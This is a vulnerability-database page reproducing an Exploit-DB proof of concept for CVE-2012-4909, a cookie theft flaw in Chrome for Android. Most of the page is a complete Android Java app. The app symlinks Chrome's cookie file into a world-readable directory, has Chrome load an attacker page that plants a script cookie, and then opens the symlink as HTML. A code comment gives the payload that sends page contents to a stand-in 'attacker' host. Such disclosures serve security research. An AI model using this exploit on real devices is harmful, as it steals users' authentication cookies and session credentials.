Lucene search
+L

Google Chrome for Android - Local Application Handling Cookie Theft

🗓️ 12 Sep 2012 00:00:00Reported by Artem ChaykinType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 34 Views

Google Chrome for Android vulnerability - Cookie Thef

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2012-4909
12 Sep 201200:00
circl
CVE
CVE-2012-4909
13 Sep 201220:00
cve
Cvelist
CVE-2012-4909
13 Sep 201220:00
cvelist
Debian CVE
CVE-2012-4909
13 Sep 201220:00
debiancve
EUVD
EUVD-2012-4834
7 Oct 202500:30
euvd
NVD
CVE-2012-4909
13 Sep 201220:55
nvd
Packet Storm
Chrome For Android Cookie Theft
8 Jan 201300:00
packetstorm
Prion
Design/Logic Flaw
13 Sep 201220:55
prion
RedhatCVE
CVE-2012-4909
22 May 202500:41
redhatcve
securityvulns
Chrome for Android - Cookie theft from Chrome by malicious Android app
10 Jan 201300:00
securityvulns
Rows per page
source: https://www.securityfocus.com/bid/55523/info

Google Chrome for Android is prone to multiple vulnerabilities.

Attackers may exploit these issues to execute arbitrary code in the context of the browser, obtain potentially sensitive information, bypass the same-origin policy, and steal cookie-based authentication credentials; other attacks are also possible.

Versions prior to Chrome for Android 18.0.1025308 are vulnerable.

package jp.mbsd.terada.attackchrome1;

  import android.app.Activity;
  import android.os.Bundle;
  import android.util.Log;
  import android.content.Intent;
  import android.net.Uri;

  public class Main extends Activity {
    // TAG for logging.
    public final static String TAG = "attackchrome1";

    // Cookie file path of Chrome.
    public final static String CHROME_COOKIE_FILE_PATH =
      "/data/data/com.android.chrome/app_chrome/Default/Cookies";

    // Temporaly directory in which the symlink will be created.
    public final static String MY_TMP_DIR =
      "/data/data/jp.mbsd.terada.attackchrome1/tmp/";

    // The path of the Symlink (must have "html" extension)
    public final static String LINK_PATH = MY_TMP_DIR + "cookie.html";

    @Override
    public void onCreate(Bundle savedInstanceState) {
      super.onCreate(savedInstanceState);
      setContentView(R.layout.main);
      doit();
    }

    // Method to invoke Chrome.
    public void invokeChrome(String url) {
      Intent intent = new Intent("android.intent.action.VIEW");
      intent.setClassName("com.android.chrome", "com.google.android.apps.chrome.Main");
      intent.setData(Uri.parse(url));
      startActivity(intent);
    }

    // Method to execute OS command.
    public void cmdexec(String[] cmd) {
      try {
        Runtime.getRuntime().exec(cmd);
      }
      catch (Exception e) {
        Log.e(TAG, e.getMessage());
      }
    }

    // Main method.
    public void doit() {
      try {
        // Create the symlink in this app's temporary directory.
        // The symlink points to Chrome's Cookie file.
        cmdexec(new String[] {"/system/bin/mkdir", MY_TMP_DIR});
        cmdexec(new String[] {"/system/bin/ln", "-s", CHROME_COOKIE_FILE_PATH, LINK_PATH});
        cmdexec(new String[] {"/system/bin/chmod", "-R", "777", MY_TMP_DIR});

        Thread.sleep(1000);

        // Force Chrome to load attacker's web page to poison Chrome's Cookie file.
        // Suppose the web page sets a Cookie as below.
        //   x=<img><script>document.images[0].src='http://attacker/?'
        //     +encodeURIComponent(document.body.innerHTML)</script>;
        //     expires=Tue, 01-Jan-2030 00:00:00 GMT
        String url1 = "http://attacker/set_malicious_cookie.php";
        invokeChrome(url1);

        Thread.sleep(10000);

        // Force Chrome to load the symlink.
        // Chrome renders the content of the Cookie file as HTML.
        String url2 = "file://" + LINK_PATH;
        invokeChrome(url2);
      }
      catch (Exception e) {
        Log.e(TAG, e.getMessage());
      }
    }
  }

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Aug 2015 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 24.3
EPSS0.02147
34